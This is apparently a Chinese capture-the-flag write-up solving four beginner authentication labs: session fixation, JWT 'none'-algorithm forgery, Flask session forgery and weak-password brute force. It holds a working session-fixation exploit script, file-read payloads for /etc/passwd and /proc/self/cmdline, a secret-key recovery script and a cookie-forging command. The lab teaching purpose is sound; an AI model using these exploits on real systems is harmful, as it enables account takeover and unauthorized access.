本文围绕身份认证领域常见漏洞展开分析,涵盖 Session 固定攻击、JWT 令牌伪造、Flask Session 伪造及弱口令爆破四类典型场景。结合原理讲解、代码实例与绕过方法,系统阐述攻击流程与防御策略,内容兼顾理论深度与实操价值,适用于安全技术学习与渗透测试场景参考。
文章目录
Session固定攻击
适合纯新手入门使用,难度极低。
打开页面,如下:

可以得到信息:
- 默认用户:test /
test - flag在
admin用户页面
这里先登录进入看看有哪些信息:
- 发现输入账号密码后,会直接重定向到当前页面,并没有另开一个页面page;
Welcome test应该就是代表进入了页面;

那就抓包试试:

查看下一个响应包,发现了我们之前登陆没有发现的信息session:

bash
- 默认未登录页面为:guest
- test用户登陆页面为:test
- admin用户登陆:?
绕过方法
这里我们再点击页面的 Send Message to Admin

可以看到需要我们输入session参数;
输入内容:

成功发送:

这里我们尝试刷新一下页面,发现直接以admin 用户登陆了:


是不是有点不理解:
代码解释
代码如下:
python
import requests
from bs4 import BeautifulSoup
BASE = 'http://localhost:5055'
# 1. 攻击者用test/test登录,获得sessionid
sess = requests.Session()
sess.get(BASE + '/login')
resp = sess.post(BASE + '/login', data={'username': 'test', 'password': 'test'})
sessionid = sess.cookies.get('session')
print('[*] Got sessionid:', sessionid)
# 2. 发送站内信,附带sessionid
msg = 'hello admin'
sess.post(BASE + '/message', data={'msg': msg, 'sessionid': sessionid})
print('[*] Sent message to admin with sessionid')
# 3. 等待admin_bot处理(可sleep几秒)
import time
time.sleep(11)
# 4. 用同样的sessionid访问首页,应该已变为admin权限
sess2 = requests.Session()
sess2.cookies.set('session', sessionid)
resp = sess2.get(BASE + '/')
soup = BeautifulSoup(resp.text, 'html.parser')
flag = soup.find('h3')
if flag:
print('[+] FLAG:', flag.text)
else:
print('[-] Exploit failed')
print(resp.text)
原因 :因为网站登录后没有更换sessionid,你用test拿到的sessionid被管理员登录后绑定成了admin权限,你再用这个sessionid访问就直接变成管理员了。
这里应该是后台存在相应的admin执行功能:
bash
# 3. 等待admin_bot处理(可sleep几秒)
import time
time.sleep(11)
...
所以才会以造成该漏洞;
JWT令牌伪造
适合纯新手入门使用,难度极低。
同理,打开页面如下:

JWT介绍
这里我们简单介绍一下什么是JWT:
JWT是RFC 7519标准定义的无状态、自包含的JSON Web令牌 ,核心是通过数字签名保证信息安全传输,常用于前后端分离的身份认证与跨域授权。

- 结构 :由Header(头部,算法/类型)、Payload(载荷,用户信息/声明)、Signature(签名,防篡改)三部分组成,以
.分隔。 - 原理:服务端验签(验证签名/有效期)即可确认身份,无需存储会话状态,适配分布式系统。
- 特点:跨域友好、自包含(少查数据库),但Payload仅编码不加密(禁存敏感信息),且无法主动撤销过期前的令牌。
jwt 的漏洞介绍
开发人员为了方便调试,将算法设置为None ;也就是Signature为空,可以越权查看:

绕过方法
这里我们随便输入,看看有什么可用信息:


我们也可以获取到相应的字段:
bash
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwiYWRtaW4iOmZhbHNlfQ.40TaB0UKi8ecEYS8-lI7APIgBx5GFlTJ4crK4v33ML8
也就是Header + payload + Signature 这三部分;
对第一部分 进行解码:

随后修改为None,再重新编码:

替换后,再对第二部分进行修改:

修改如下,进行替换:

成功进行绕过:

Flask_Session伪造
适合纯新手入门使用,难度极低。
打开页面:

点击超链接,跳转到read?url=https://baidu.com

这里就跳转到百度的页面;
随后抓包查看,发现session:

原理讲解
- Session 用于让无状态的 HTTP 协议记住用户状态,实现登录等需要身份保持的功能;
- Flask Session 支持客户端 Cookie 存储和服务端(Redis/MySQL 等)存储两种方式;
- Flask 默认将 Session 存在
客户端 Cookie中,存在安全风险;
例子如下:
bash
# 具体的sesion格式(与上一关一样)
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 时间戳 签名
(第一部分)

- 核心:
- flask session是利用hmac算法将session数据,时间戳加上
secert_key成的; - 那么我们要进行session伪造就要先得到secret_key,当我们得到secret_key我们就可以很轻松的进行session伪造。
- flask session是利用hmac算法将session数据,时间戳加上
绕过方法
(1)既然通过url参数返回了百度的页面 猜测存在任意文件读取:

所以这里测试一下:尝试读取文件/etc/passwd
(2)我们接着进行测试,查看当前正在运行的进程是什么 :/proc/self/cmdline

(3)这里知道是python的后台,源码在app.py里面,尝试读取源码:

成功得到源码:
python
# encoding:utf-8
import re
import random
import uuid
import urllib.request
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 100)
print(app.config['SECRET_KEY'])
app.debug = False
@app.route('/')
def index():
session['username'] = 'guest'
return 'CTFshow 网页爬虫系统 <a href="/read?url=https://baidu.com">读取网页</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
if re.findall('flag', url, re.IGNORECASE):
return '禁止访问'
res = urllib.request.urlopen(url)
return res.read().decode('utf-8', errors='ignore')
except Exception as ex:
print(str(ex))
return '无读取内容可以展示'
@app.route('/flag')
def flag():
if session.get('username') == 'admin':
return open('/flag.txt', encoding='utf-8').read()
else:
return '访问受限'
if __name__ == '__main__':
app.run(
debug=False,
host="0.0.0.0"
)
这里对第一部分解码,我们可以知道当前是guest用户:(而代码要求需要get('username') == 'admin')

(4)随后我们需要伪造得到secret_key :
在代码里我们也可以得到相应的构造过程:
bash
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 100)
print(app.config['SECRET_KEY'])
由于andom指定了seed那么生成的随机数是固定的,编写一个代码得到相应结果:
bash
import requests
import uuid
import random
import os
url = "http://631fc2b5-33eb-44cb-9148-571d481cdac4.challenge.ctf.show/"
def get_randStr():
response = requests.get(url + "read?url=file:///sys/class/net/eth0/address")
mac = response.text.strip()
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
return randStr
if __name__ == '__main__':
randStr = get_randStr()
print("Random String:", randStr)
得到结果:54.622471598641944

(5)接下来就可以进行session伪造了:
首先修改guest为admin:

随后修改时间戳:
- session伪造工具:
https://github.com/noraj/flask-session-cookie-manager
执行代码:
bash
python flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "54.622471598641944"
# 得到结果
C:\Users\Leco\Desktop\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "54.622471598641944"
eyJ1c2VybmFtZSI6ImFkbWluIn0.adxaug.q1JUIKHmyHG2m-XZ72hmy9fYgAM

随后进行替换:
- 在浏览器开发者工具(F12)→「应用」→「Cookie」→ 找到当前网站的 session Cookie
- 把值替换为上面生成的伪造
new_session - 刷新页面,访问
/flag,即可拿到 flag

弱口令爆破
适合纯新手入门使用,难度极低。
访问页面:

同时还有一个pass.dic文件,应该是爆破字典;
这里随便抓包,然后爆破即可:

这里设置好参数后,成功得到结果:
- 具体操作:Yakit如何进行弱口令爆破

bash
username=admin&password=834100

总结
本篇文章主要是有两个新知识点:
- JWT令牌伪造
- Flask_Session伪造
其他的难度不大。
期待下次再见;